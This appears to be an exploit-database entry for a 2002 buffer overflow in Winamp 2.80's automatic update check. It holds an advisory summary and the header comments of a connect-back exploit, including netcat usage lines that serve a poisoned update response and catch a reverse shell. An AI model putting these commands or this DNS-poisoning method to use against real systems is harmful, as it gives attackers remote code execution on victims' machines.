Description: Nullsoft Winamp 2.80 - Automatic Update Check Buffer Overflow
Type: remote
Platform: windows
Date: 2002-07-03

Exploit:
// source: https://www.securityfocus.com/bid/5170/info

Nullsoft Winamp is a media player for Microsoft Windows supporting MP3 and other filetypes.

Winamp is vulnerable to a buffer overflow condition when checking for updated versions. A malicious server located at www.winamp.com may return a malicious response. Exploitation may result in the execution of arbitrary code as the Winamp process.

It may be possible to exploit this vulnerability if an attacker can control the resolution of the www.winamp.com domain, possibly through DNS cache poisoning.

	Winamp 2.80a and all previous remote exploit (connect-back styles)



        winamp has an option, enabled by default, which checks for the latest

        version from www.winamp.com and will then notify the user of a possible

        upgrade via a messagebox..

	

        unfortunately, if it were to receive a huge response via some nameserver

        corruption the thread parsing the response is thrown into an infinite

        loop and eventually the exception dispatcher is called.. and THEN like

        most of the time under windows a big, bad, overflow occurs..

        

        ex: # (./wampexp 192.168.0.1 5555)|nc -l -p 80

            # nc -l -p 5555

            *poisoned user opens winamp*

            # nc -l -p 5555
